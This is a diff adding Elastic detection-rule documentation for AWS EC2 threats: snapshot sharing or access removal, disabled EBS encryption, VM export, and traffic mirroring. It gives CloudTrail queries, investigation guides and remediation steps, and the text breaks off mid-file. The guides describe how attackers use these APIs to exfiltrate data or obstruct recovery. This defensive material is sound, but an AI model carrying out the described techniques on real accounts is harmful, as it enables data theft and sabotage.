b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-access-removed.asciidoc new file mode 100644 index 0000000000..8bbb9cd113 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-access-removed.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-access-removed]] +=== AWS EC2 EBS Snapshot Access Removed + +Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 EBS Snapshot Access Removed* + + +This rule detects when access is removed for an AWS EC2 EBS snapshot. EBS virtual disks can be copied into snapshots, which can then be used as backups for recovery and data retention efforts. Adversaries may attempt to remove access to snapshots in order to prevent legitimate users or automated processes from accessing or restoring from snapshots following data loss, ransomware, or destructive actions. This can significantly delay or even prevent recovery, increasing the impact of the attack. Restricting snapshot access may help adversaries cover their tracks by making it harder for defenders to analyze or recover deleted or altered data. Attackers may remove permissions for all users except their own compromised account, allowing them to maintain exclusive access to backups for future use or leverage. Understanding the context and legitimacy of such changes is crucial to determine if the action is benign or malicious. + + +*Possible investigation steps:* + + +- **Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. Evaluate whether the identity is authorized to manage EBS snapshot permissions (check IAM policies for `ec2:ModifySnapshotAttribute`). + +- **Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. Review `user_agent.original` to determine if the request came from an expected administrative tool or host. + +- **Examine the scope of the change**: + - Review `aws.cloudtrail.request_parameters` to understand which accounts or entities had access removed. + - Look for unusual patterns such as `createVolumePermission={remove=all}` or removal of specific external or organizational accounts. + - Cross-check the affected `snapshotId` in the AWS console or via CLI to confirm current sharing status and determine if any copies or dependent volumes exist. + - Use AWS Config or AWS CLI (`describe-snapshot-attribute`) to verify whether other snapshots were modified within the same timeframe. + +- **Correlate with other activities**: + - Search CloudTrail for additional activity from the same actor or `source.ip` around the event time. + - Pay special attention to subsequent `DeleteSnapshot`, `DeregisterImage`, or `RevokeSnapshotAccess` events, which may signal ongoing destruction. + - Check for parallel IAM activity, such as policy changes that grant or revoke permissions. + - Correlate with GuardDuty or Security Hub findings related to data exfiltration, destructive actions, or unauthorized configuration changes. + - Determine if any high-value or production snapshots were affected, especially those linked to business-critical EBS volumes. + +- **Evaluate timing and intent**: Compare `@timestamp` with maintenance windows or known change requests. Actions taken outside approved hours or without associated tickets may indicate compromise or sabotage. If this change coincides with other detections (for example, `EBS encryption disabled` or `root login` events), treat it as part of a coordinated impact campaign. + + +*False positive analysis:* + + +- **Planned administrative maintenance**: Confirm whether this snapshot modification aligns with backup rotation, retention policy enforcement, or snapshot lifecycle automation. +- **Automation and tooling**: Infrastructure-as-code pipelines or DevOps scripts may legitimately remove snapshot sharing to enforce compliance. Review tags, user agents, and automation identifiers. +- **Testing or sandbox accounts**: Some non-production environments may modify snapshot access for isolation. Validate account purpose before escalating. + +If the action was expected, document the change approval and reconcile against internal audit or change-control systems. + + +*Response and remediation:* + + +**Containment and validation** +- Review and, if necessary, restore snapshot permissions using AWS Console or CLI (`modify-snapshot-attribute` with `add` parameters). +- Confirm that no additional snapshots or AMIs have had access removed. +- Restrict `ec2:ModifySnapshotAttribute` permissions to only trusted administrative roles. + +**Investigate for data destruction or persistence** +- Determine if the same actor also deleted or copied snapshots (`DeleteSnapshot`, `CopySnapshot`). +- Review subsequent volume creation or image registration events that could indicate snapshot reuse. +- Identify whether any snapshot was shared to or copied by an external AWS account. + +**Strengthen detection and monitoring** +- Enable AWS Config rules and Security Hub controls such as `ebs-snapshot-public-restorable-check`. +- Establish continuous monitoring for `ModifySnapshotAttribute` and `DeleteSnapshot` operations. +- Correlate future detections with user identity and source IP context to identify recurring behavior. + +**Recovery and hardening** +- Verify that critical snapshots and backups are retained and encrypted. +- Implement backup immutability with AWS Backup Vault Lock or S3 Object Lock for long-term protection. +- Apply service control policies (SCPs) to prevent unauthorized modification of snapshot sharing attributes. +- Conduct a post-incident review to identify the root cause and strengthen least-privilege enforcement for EBS management roles. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation** + - https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[EBS Snapshot Permissions] + - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[ModifySnapshotAttribute API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "ModifySnapshotAttribute" + and event.outcome == "success" + and stringContains (aws.cloudtrail.request_parameters, "attributeType=CREATE_VOLUME_PERMISSION") + and stringContains (aws.cloudtrail.request_parameters, "remove=") + and not source.address == "backup.amazonaws.com" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc new file mode 100644 index 0000000000..52b6d94648 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-shared-or-made-public]] +=== AWS EC2 EBS Snapshot Shared or Made Public + +Detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots contain copies of data volumes that may include sensitive or regulated information. Adversaries may exploit ModifySnapshotAttribute to share snapshots with external accounts or the public, allowing them to copy and access data in an environment they control. This activity often precedes data exfiltration or persistence operations, where the attacker transfers stolen data out of the victim account or prepares a staging area for further exploitation. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 EBS Snapshot Shared or Made Public* + + +This rule detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots store copies of data volumes that may contain sensitive or regulated information. Adversaries may exploit the `ModifySnapshotAttribute` API to share these snapshots externally, allowing them to copy and access the data in an environment they control. This activity is commonly associated with data exfiltration or persistence techniques, where attackers transfer data outside the victim account or prepare backups they can later retrieve. Public sharing (`group=all`) represents a severe data exposure risk, as it makes the snapshot globally readable. + + +*Possible investigation steps:* + + +**Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who modified the snapshot’s permissions. Evaluate whether this identity is authorized to share EBS snapshots (check IAM policies for `ec2:ModifySnapshotAttribute`). + +**Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An unfamiliar or external location may indicate compromised credentials or unauthorized access. Review `user_agent.original` to confirm whether the request originated from an expected administrative tool or host. + +**Examine the scope of the change**: + - Review `aws.cloudtrail.request_parameters` to determine which AWS account(s) were added to the `createVolumePermission` list. + - If the account ID matches the snapshot owner’s account, this is redundant and typically non-malicious. + - If another account ID or `group=all` appears, verify whether the target is an approved AWS Organization account or an external party. + - Cross-check the affected `snapshotId` in the AWS console or via CLI (`describe-snapshot-attribute`) to confirm current sharing status. + - Identify whether other snapshots or AMIs were shared in the same timeframe. + +**Correlate with other activities**: + - Search CloudTrail for related events involving the same actor or `source.ip`. + - Look for `CreateSnapshot`, `CopySnapshot`, `ExportImage`, or `PutBucketAcl` events that could indicate broader exfiltration or replication behavior. + - Correlate with detections such as `EBS Snapshot Access Removed` or `EBS Encryption Disabled`, which may signal a coordinated campaign involving both exfiltration and impact. + - Check GuardDuty and Security Hub for findings related to data exposure, cross-account sharing, or unauthorized data transfer. + +**Evaluate timing and intent**: Compare `@timestamp` against scheduled maintenance or approved change windows. Actions performed outside business hours or without documented change tickets should be prioritized for review. + + +*False positive analysis:* + + +- **Authorized internal sharing**: Confirm if the snapshot sharing was part of an approved workflow, such as internal replication or migration between AWS Organization accounts. +- **Automated replication or tooling**: Infrastructure-as-code or backup automation may temporarily share snapshots for cross-region or cross-account transfers. Verify automation identifiers, source IPs, and tags. +- **Self-account addition**: Adding the owner’s own account ID to `createVolumePermission` has no operational impact and can be safely ignored. + +If verified as legitimate, document the event under change management and reconcile it against organizational policies for snapshot sharing. + + +*Response and remediation:* + + +**Containment and validation** +- If unauthorized, immediately remove added permissions using the AWS CLI: + `aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Remove=[{UserId=}]"` +- Revoke public sharing (`group=all`) to prevent external access. +- Restrict `ec2:ModifySnapshotAttribute` permissions to trusted administrative roles only. + +**Investigate for data exfiltration or persistence** +- Determine whether the shared snapshot was copied to another account (`CopySnapshot`). +- Engage AWS Support if evidence suggests external copying or data theft. +- Review subsequent API calls or IAM changes for further persistence or data movement. + +**Strengthen detection and monitoring** +- Enable AWS Config rules such as `ebs-snapshot-public-restorable-check`. +- Implement continuous monitoring for `ModifySnapshotAttribute` and `CopySnapshot` operations. +- Correlate future detections by actor, access key, and source IP to identify repeated or automated exfiltration attempts. + +**Recovery and hardening** +- Enable default encryption and validate that all snapshots remain private. +- Apply Service Control Policies (SCPs) to prevent public snapshot sharing organization-wide. +- Audit existing snapshots to ensure no others have unauthorized permissions. +- Implement least-privilege IAM principles and enforce multi-factor authentication (MFA) for administrative accounts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: reference playbooks for investigating data exfiltration and unauthorized access. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: example framework for developing custom playbooks for snapshot configuration and data protection. +- **AWS Documentation** + - https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[EBS Snapshot Permissions] + - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[ModifySnapshotAttribute API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "ModifySnapshotAttribute" + and event.outcome == "success" + and stringContains (aws.cloudtrail.request_parameters, "attributeType=CREATE_VOLUME_PERMISSION") + and stringContains (aws.cloudtrail.request_parameters, "add=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-encryption-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-encryption-disabled.asciidoc new file mode 100644 index 0000000000..4175720a5c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-encryption-disabled.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-21-aws-ec2-encryption-disabled]] +=== AWS EC2 Encryption Disabled + +Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/disable-ebs-encryption-by-default.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Encryption Disabled* + + +Amazon Elastic Block Store (EBS) encryption ensures that all new EBS volumes and snapshots are encrypted at rest using AWS KMS keys. +When encryption by default is disabled, new EBS volumes in the region will no longer inherit automatic encryption. +This action can have serious security implications as it can weaken the organization’s data protection posture, violate compliance requirements, or enable adversaries to read or exfiltrate sensitive information without triggering encryption-based access controls. + + +*Possible investigation steps* + + +**Identify the initiator and context** +- Review the `aws.cloudtrail.user_identity` fields to determine who or what performed the `DisableEbsEncryptionByDefault` action. + - Examine the `user_identity.type` (e.g., IAMUser, AssumedRole, Root, FederatedUser). + - Validate whether the actor is authorized to modify account-level encryption defaults. +- Check `source.ip` and `user_agent.original` to identify the origin of the request and whether it came from a known administrative system, automation process, or an unfamiliar host. +- Correlate with recent IAM activity such as `AttachUserPolicy`, `UpdateAccountPasswordPolicy`, or `PutAccountSetting` to identify potential privilege escalation or account misuse. + +**Review the timing and scope** +- Compare the event `@timestamp` with other CloudTrail management events to determine if the encryption change occurred alongside other administrative modifications. +- Investigate if similar actions were executed in other AWS regions, disabling encryption regionally may be part of a broader campaign. +- Review AWS Config or Security Hub findings to determine whether compliance controls or data protection standards (e.g., CIS, PCI-DSS, ISO 27001) have been violated. + +**Assess data exposure risk** +- Identify newly created or modified EBS volumes after the timestamp of this change. + - Query CloudTrail for `CreateVolume` or `CreateSnapshot` events without `Encrypted:true`. +- Determine whether sensitive workloads, such as production databases or applications, rely on unencrypted EBS volumes. +- Check for `CopySnapshot` or `ModifySnapshotAttribute` activity that could indicate data staging or exfiltration. + +**Correlate related security events** +- Look for concurrent detections or GuardDuty findings involving IAM privilege misuse, credential exposure, or configuration tampering. +- Review CloudTrail logs for any `DisableKeyRotation` or `ScheduleKeyDeletion` events related to the KMS key used for EBS encryption. These may indicate attempts to disrupt encryption mechanisms entirely. +- Review AWS Config timeline to confirm whether encryption-by-default was re-enabled or remained off. + + +*False positive analysis* + + +- **Administrative changes**: System or cloud administrators may disable default encryption temporarily for troubleshooting or migration. Verify if the user identity, role, or automation process is part of a legitimate change. +- **Infrastructure testing**: Non-production environments may disable encryption for cost or performance benchmarking. These should be tagged and excluded. +- **Service misconfiguration**: Some provisioning frameworks or scripts may unintentionally disable encryption defaults during environment setup. Ensure automation code uses explicit encryption flags when creating resources. + +If confirmed as expected, document the change request, implementation window, and user responsible for traceability. + + +*Response and remediation* + + +**Containment and restoration** +- Re-enable EBS encryption by default in the affected region to restore protection for new volumes: + - Via AWS Console: EC2 → Account Attributes → EBS encryption → Enable by default. + - Or via CLI/API: `enable-ebs-encryption-by-default`. +- Audit recently created EBS volumes and snapshots. + - Identify any unencrypted resources and re-encrypt them using KMS keys or snapshot-copy encryption workflows. +- Verify that AWS Config rules and Security Hub controls related to EBS encryption (`ec2-ebs-encryption-by-default-enabled`) are enabled and compliant. + +**Investigate and scope** +- Review IAM policies to ensure only designated administrators have the `ec2:DisableEbsEncryptionByDefault` permission. +- Check for other regional encryption settings (e.g., S3 default encryption) that may have been modified by the same user or automation role. +- Examine whether any new IAM roles or policies were added that allow similar encryption or security modifications. + +**Long-term hardening** +- Enable organization-level service control policies (SCPs) to prevent future disabling of encryption-by-default across accounts. +- Establish AWS Config conformance packs or Security Hub standards to continuously monitor this setting. +- Integrate detection correlation (e.g., link EBS encryption disablement with subsequent unencrypted `CreateVolume` events) for improved alert fidelity. +- Educate administrators on data protection implications and require change approvals for encryption-related settings. + +**Recovery validation** +- After restoring encryption-by-default, validate the change in CloudTrail and AWS Config timelines. +- Confirm that subsequent EBS volumes are created with `Encrypted:true`. +- Conduct a short post-incident review to document root cause, impact, and lessons learned for compliance audits. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html[EBS Encryption at Rest]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DisableEbsEncryptionByDefault and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-export-task.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-export-task.asciidoc new file mode 100644 index 0000000000..41cbfacf6e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-export-task.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-21-aws-ec2-export-task]] +=== AWS EC2 Export Task + +Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport_image.html +* https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.html, + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Asset Visibility +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Export Task* + + +The APIs `CreateInstanceExportTask`, `ExportImage`, and `CreateStoreImageTask` allow the export of a running or stopped EC2 instance (or its AMI/image) to external storage (e.g., S3) or image formats. While often used for migration, cloning or backup, adversaries can leverage these actions to copy full VM state or images out of the environment for exfiltration. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id` to identify who made the call. + - Verify `user_agent.original`, `source.ip` and `@timestamp` to determine whether the action is by known automation, trusted operator, or an unexpected identity or location. + - Confirm `cloud.account.id` and `cloud.region` match the expected account/region for export tasks. + +**Examine the specific export/image task details** + - Review `aws.cloudtrail.request_parameters` for details such as the `InstanceId`, `TargetEnvironment`, `S3Bucket`, `S3Key`, `DiskImageFormat`, `ContainerFormat`. + - Check `aws.cloudtrail.response_elements` for the resulting export task ID and status. + - Determine whether the exported instance or image contained sensitive workloads (e.g., production databases, critical systems) via instance tags or asset inventory. + +**Pivot to related API calls/events** + - Look for follow-on tasks such as: + - S3 bucket writes or cross-account bucket ACL changes (`PutBucketAcl`/`PutBucketPolicy`) referencing the export S3 bucket or key. + - `CopyImage`, `ModifyImageAttribute`, or `ShareImage` events if the exported image is copied or shared. + - Network or usage anomalies in the region or from the S3 bucket (large downloads from the exported object). + - Check for preceding suspicious actions that could indicate compromise: `AssumeRole`, `CreateAccessKey`, `AttachUserPolicy`, or unusual `Describe*` operations. + +**Assess legitimacy and risk** + - Confirm whether this export was authorized (via change ticket or migration workflow) and whether the principal has a documented justification for VM export. + - If unauthorized, assess what was exported, where it is stored, how it may be transferred or used externally, and the data risk exposure. + + +*False positive analysis* + + +- Legitimate migration or backup workflows may trigger these export/image APIs. +- Development/test environments may export VM images or instances for sandbox cloning. +- Known automation tools may create exports at scheduled times. + + +*Response and remediation* + + +- Immediately identify and disable or isolate any object/resource created by the export (e.g., the S3 bucket/object, image ID) that is suspected of unauthorized use. +- Revoke the access credentials (`aws.cloudtrail.user_identity.access_key_id`) used if they show unusual activity. +- Rotate keys, enforce MFA, and review IAM permissions for the principal. +- Audit the exported VM/image: review its contents if possible, check whether it has been moved off-account. +- Strengthen monitoring: set alerts for subsequent large data transfers from the S3 export location, cross-account sharing of exported images, or anomalous AMI imports. +- Update policy: restrict who can perform exports, monitor export actions via AWS Config or CloudTrail, tag and track export tasks and their destinations. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: ("CreateInstanceExportTask" or "ExportImage" or "CreateStoreImageTask") and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-full-network-packet-capture-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-full-network-packet-capture-detected.asciidoc new file mode 100644 index 0000000000..8950bac32b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-full-network-packet-capture-detected.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-21-aws-ec2-full-network-packet-capture-detected]] +=== AWS EC2 Full Network Packet Capture Detected + +Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_TrafficMirrorSession.html +* https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Full Network Packet Capture Detected* + + +This alert fires on a successful `CreateTrafficMirrorSession`, which enables full-packet Traffic Mirroring from a +source ENI to a mirror target under a given filter. Because sessions immediately begin sending packets once active, +treat unexpected creations as high priority. + + +*Possible investigation steps* + + +**Identify the actor and execution context** +- **Principal**: Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and + `aws.cloudtrail.user_identity.access_key_id` to determine who created the session (human IAM user vs. assumed role vs. automation). +- **Caller metadata**: Check `user_agent.original`, and `source.ip` for unusual tools, hosts, or locations. +- **Account/Region/Time**: Validate `cloud.account.id`, `cloud.region`, and `@timestamp` against change windows or tickets. + +**Extract the session details from the event** +- **Request parameters**: Parse `aws.cloudtrail.request_parameters` for: + - `NetworkInterfaceId` (mirrored source ENI) map to the EC2 instance and its business function. + - `TrafficMirrorTargetId` identify where packets are being sent (ENI vs. NLB). + - `TrafficMirrorFilterId` check which directions and protocols are allowed (ingress/egress, ports). + - `SessionNumber`, `Description`, `TagSpecifications` look for operator tags or suspicious notes. +- **Response elements**: Use `aws.cloudtrail.response_elements` to confirm the created `TrafficMirrorSessionId` and + any resolved resource ARNs/IDs. + +**Pivot for related API calls to validate scope and intent** +Look before and after this event (±30–60 minutes) by the same principal / access key / source IP for: +- **Target & Filter lifecycle**: `CreateTrafficMirrorTarget`, `CreateTrafficMirrorFilter`, `CreateTrafficMirrorFilterRule`, + `ModifyTrafficMirrorSession|Filter|FilterRule`, and `Delete*` calls (rapid create-modify patterns can indicate staging). +- **Session 